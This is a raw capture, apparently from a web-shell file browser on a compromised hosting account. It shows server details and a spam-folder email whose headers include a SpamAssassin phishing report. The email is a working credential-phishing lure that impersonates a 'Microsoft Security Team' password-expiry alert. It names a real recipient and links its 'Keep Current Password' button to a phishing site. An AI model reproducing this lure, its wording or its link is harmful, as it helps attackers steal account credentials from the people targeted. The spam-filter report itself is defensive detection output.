HEX
Server: Apache
System: Linux zacp120.webway.host 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User: govancoz (1003)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/govancoz/mail/.spam/new/1746879164.M513821P2830010.zacp120.webway.host,S=9352,W=9509
Return-Path: <Noreply@govan.co.za>
Delivered-To: govancoz+spam@zacp120.webway.host
Received: from zacp120.webway.host
	by zacp120.webway.host with LMTP
	id 3ku0HbxCH2i6LisA8rC0kQ
	(envelope-from <Noreply@govan.co.za>)
	for <govancoz+spam@zacp120.webway.host>; Sat, 10 May 2025 14:12:44 +0200
Return-path: <Noreply@govan.co.za>
Envelope-to: cheryl@govan.co.za
Delivery-date: Sat, 10 May 2025 14:12:44 +0200
Received: from [185.93.89.220] (port=52476 helo=govan.co.za)
	by zacp120.webway.host with esmtp (Exim 4.98.1)
	(envelope-from <Noreply@govan.co.za>)
	id 1uDj4N-0000000Bpnd-2VtA
	for cheryl@govan.co.za;
	Sat, 10 May 2025 14:12:44 +0200
From: Noreply@govan.co.za
To: cheryl@govan.co.za
Date: 10 May 2025 05:11:58 -0700
Message-ID: <20250510051158.3B980678CE44EC46@govan.co.za>
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Spam-Status: Yes, score=16.8
X-Spam-Score: 168
X-Spam-Bar: ++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.webway.host",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Dear cheryl , Your password for "cheryl@govan.co.za" will
    expire Today. You are required to update your account by clicking below 
 Content analysis details:   (16.8 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  4.7 RCVD_IN_XBL            RBL: Received via a relay in Spamhaus XBL
                             [185.93.89.220 listed in zen.spamhaus.org]
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was blocked.
                             See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URI: bahgtdar.com]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus DBL
                             blocklist
                             [URI: bahgtdar.com]
  1.5 SPF_HELO_SOFTFAIL      SPF: HELO does not match SPF record (softfail)
  1.5 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
  0.2 KAM_DMARC_NONE         DKIM has Failed or SPF has failed on the message and
                             the domain has no DMARC policy
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.93.89.220 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.93.89.220 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [185.93.89.220 listed in sa-trusted.bondedsender.org]
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 T_MXG_EMAIL_FRAG       BODY: URI with email in fragment
  0.0 HTML_MESSAGE           BODY: HTML included in message
  2.0 RDNS_NONE              Delivered to internal network by a host with no rDNS
  0.0 VFY_ACCT_NORDNS        Verify your account to a poorly-configured MTA -
                             probable phishing
  1.7 RAZOR2_CHECK           Listed in Razor2 (http://razor.sf.net/)
  2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
                             [cf: 100]
  0.0 FSL_BULK_SIG           Bulk signature with no Unsubscribe
X-Spam-Flag: YES
Subject:  ***SPAM***  Security alert for cheryl@govan.co.za

<HTML><HEAD><TITLE></TITLE>
<META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD>
<BODY style=3D"MARGIN: 0.4em">
<META content=3DIE=3Dedge http-equiv=3DX-UA-Compatible>
<DIV dir=3Dltr>
<DIV style=3D'BOX-SIZING: border-box; FONT-SIZE: large; FONT-FAMILY: "New T=
imes",serif; COLOR: rgb(44,54,58)'>
<P style=3D"BOX-SIZING: border-box; MARGIN-TOP: 0px"><SPAN style=3D"BOX-SIZ=
ING: border-box; FONT-SIZE: 14px"><SPAN style=3D"BOX-SIZING: border-box; CO=
LOR: rgb(0,0,0)"><SPAN style=3D'BOX-SIZING: border-box; FONT-FAMILY: "lucid=
a sans unicode","lucida grande",sans-serif'><FONT style=3D"BOX-SIZING: bord=
er-box" size=3D4 face=3D"Times New Roman">Dear&nbsp;cheryl ,</FONT> </SPAN>=
</SPAN></SPAN></P>
<P style=3D"BOX-SIZING: border-box; MARGIN-TOP: 0px"><SPAN style=3D"BOX-SIZ=
ING: border-box; FONT-SIZE: 14px"><SPAN style=3D"BOX-SIZING: border-box; CO=
LOR: rgb(0,0,0)"><SPAN style=3D'BOX-SIZING: border-box; FONT-FAMILY: "lucid=
a sans unicode","lucida grande",sans-serif'><FONT style=3D"BOX-SIZING: bord=
er-box" size=3D4 face=3D"Times New Roman"><SPAN style=3D'BOX-SIZING: border=
-box; FONT-FAMILY: "New Times",serif'><FONT style=3D"BOX-SIZING: border-box=
" size=3D4>
Your password for&nbsp;<FONT style=3D"BOX-SIZING: border-box" color=3D#0040=
40 size=3D3><FONT style=3D"BOX-SIZING: border-box" color=3D#000000 size=3D4=
><SPAN style=3D"BOX-SIZING: border-box; FONT-WEIGHT: bolder">"<A target=3D_=
blank>cheryl@govan.co.za</A>"</SPAN></FONT></FONT>&nbsp;<WBR>will expire To=
day. &nbsp;<SPAN style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px"><SPAN st=
yle=3D"BOX-SIZING: border-box"> <SPAN style=3D'BOX-SIZING: border-box; FONT=
-FAMILY: "lucida sans unicode","lucida grande",sans-serif'>
<FONT style=3D"BOX-SIZING: border-box" size=3D4 face=3D"Times New Roman"><S=
PAN style=3D'BOX-SIZING: border-box; FONT-FAMILY: "New Times",serif'><FONT =
style=3D"BOX-SIZING: border-box" size=3D4>You are required to&nbsp;update&n=
bsp;your account by clicking below</FONT></SPAN></FONT></SPAN></SPAN></SPAN=
></FONT></SPAN></FONT></SPAN></SPAN></SPAN></P>
<P style=3D"BOX-SIZING: border-box; MARGIN-TOP: 0px"><SPAN style=3D"BOX-SIZ=
ING: border-box; FONT-SIZE: 14px"><SPAN style=3D"BOX-SIZING: border-box; CO=
LOR: rgb(0,0,0)"><SPAN style=3D'BOX-SIZING: border-box; FONT-FAMILY: "lucid=
a sans unicode","lucida grande",sans-serif'><SPAN style=3D"BOX-SIZING: bord=
er-box; FONT-WEIGHT: bolder"></SPAN></SPAN></SPAN></SPAN></P>
<DIV style=3D"BOX-SIZING: border-box"><SPAN style=3D"BOX-SIZING: border-box=
; FONT-WEIGHT: bolder"></SPAN></DIV>
<DIV style=3D"BOX-SIZING: border-box"><SPAN style=3D"BOX-SIZING: border-box=
">
<DIV style=3D"BOX-SIZING: border-box" align=3Dleft>
<TABLE style=3D"HEIGHT: 45px; WIDTH: 225px; MIN-HEIGHT: 22px; BACKGROUND-CO=
LOR: rgb(18,90,119); border-radius: 5px" align=3Dleft>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 13px; FONT-FAMILY: "Sans sa=
ns-serif"; PADDING-BOTTOM: 14px; PADDING-TOP: 14px; PADDING-LEFT: 14px; PAD=
DING-RIGHT: 14px' vAlign=3Dmiddle align=3Dcenter>
<A title=3DContinue style=3D"BOX-SIZING: border-box; FONT-WEIGHT: bold; COL=
OR: rgb(255,255,255); DISPLAY: block; LINE-HEIGHT: 13px; BACKGROUND-COLOR: =
transparent; text-decoration-line: none" href=3D"https://bahgtdar.com/nory/=
General 2024/index.html#cheryl@govan.co.za" rel=3Dnoreferrer target=3D_blan=
k data-saferedirectreason=3D"2" data-saferedirecturl=3D'&amp;source=3Dgmail=
&amp;usg=3DAOvVaw28sElJEDuQ-p7HzXyPTwlg"'><FONT style=3D"BOX-SIZING: border=
-box" size=3D4 face=3D"Times New Roman">Keep&nbsp;Current Password</FONT></=
A>
</TD></TR></TBODY></TABLE></DIV><BR style=3D"BOX-SIZING: border-box"></SPAN=
></DIV><SPAN style=3D"BOX-SIZING: border-box">
<DIV style=3D"BOX-SIZING: border-box"><BR style=3D"BOX-SIZING: border-box">=
&nbsp;</DIV>
<DIV style=3D"BOX-SIZING: border-box"></DIV></SPAN><FONT style=3D"BOX-SIZIN=
G: border-box" size=3D4><SPAN style=3D"BOX-SIZING: border-box"><SPAN style=
=3D"BOX-SIZING: border-box; FONT-WEIGHT: bolder"><FONT color=3D#e44e1b><FON=
T color=3D#2c363a size=3D5></FONT></FONT><FONT color=3D#000000>Note:&nbsp; =
Microsoft Security Support team&nbsp; will not be held responsible, if no a=
ction is taken today.<BR></FONT><BR></SPAN></SPAN></FONT></DIV>
<DIV style=3D'BOX-SIZING: border-box; FONT-SIZE: large; FONT-FAMILY: "New T=
imes",serif; COLOR: rgb(44,54,58)'><FONT style=3D"BOX-SIZING: border-box" c=
olor=3D#1e1ce3 size=3D4><SPAN style=3D"BOX-SIZING: border-box"><SPAN style=
=3D"BOX-SIZING: border-box; FONT-WEIGHT: bolder">&copy;Microsoft Security T=
eam.<BR>Microsoft respect your privacy</SPAN></SPAN></FONT></DIV>
<DIV style=3D'BOX-SIZING: border-box; FONT-SIZE: large; FONT-FAMILY: "New T=
imes",serif; COLOR: rgb(44,54,58)'><SPAN style=3D"BOX-SIZING: border-box"><=
FONT style=3D"BOX-SIZING: border-box" size=3D4></FONT></SPAN>&nbsp;</DIV></=
DIV></BODY></HTML>